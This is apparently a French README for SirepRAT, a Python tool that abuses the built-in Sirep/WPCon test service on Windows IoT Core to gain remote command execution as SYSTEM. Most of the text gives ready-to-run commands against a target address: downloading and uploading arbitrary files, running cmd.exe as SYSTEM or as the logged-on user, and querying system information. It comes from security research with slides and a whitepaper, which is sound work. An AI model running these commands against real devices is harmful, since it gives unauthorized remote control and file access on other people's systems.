
Exécution de commandes à distance en tant que SYSTEM sur Windows IoT Core (versions disponibles pour Python2.7 et Python3)

SirepRAT offre des capacités RAT complètes sans avoir besoin d'écrire un vrai malware RAT sur la cible.
La méthode exploite le service de test Sirep qui est intégré et fonctionne sur les images officielles proposées sur le site de Microsoft. Ce service est la partie cliente de la configuration HLK que l'on peut construire pour effectuer des tests de pilotes/matériel sur le périphérique IoT. Il sert le protocole Sirep/WPCon/TShell.
Nous avons décomposé le protocole Sirep/WPCon et démontré comment ce protocole expose une interface de commande à distance pour les attaquants, qui inclut des capacités RAT telles que récupérer/déposer des fichiers arbitraires à des emplacements arbitraires et obtenir des informations système.
Sur la base des conclusions que nous avons tirées de cette recherche sur le service et le protocole, nous avons construit un outil Python simple qui permet de les exploiter en utilisant les différentes commandes prises en charge. Nous l'avons appelé SirepRAT.
Il dispose d'une interface utilisateur simple et intuitive pour envoyer des commandes à une cible Windows IoT Core. Il fonctionne sur tout périphérique connecté par câble exécutant Windows IoT Core avec une image officielle Microsoft.
Les diapositives et le Livre blanc de la recherche se trouvent dans le dossier docs
pip install -r requirements.txt
python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v
python SirepRAT.py 192.168.3.17 PutFileOnDevice --remote_path "C:\Windows\System32\uploaded.txt" --data "Hello IoT world!"
python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\hostname.exe"
Avec des arguments, en imitant l'utilisateur actuellement connecté :
python SirepRAT.py 192.168.3.17 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"
(Essayez de l'exécuter sans le drapeau as_logged_on_user pour démontrer la capacité d'exécution en tant que SYSTEM)
python SirepRAT.py 192.168.3.17 GetSystemInformationFromDevice
python SirepRAT.py 192.168.3.17 GetFileInformationFromDevice --remote_path "C:\Windows\System32\ntoskrnl.exe"
python SirepRAT.py --help
Dor Azouri (@bemikre)
movatica (@movatica) - portage vers Python 3 ! (à la ligne d'arrivée de 2020)
BSD 3 - clause « New » ou « Revised »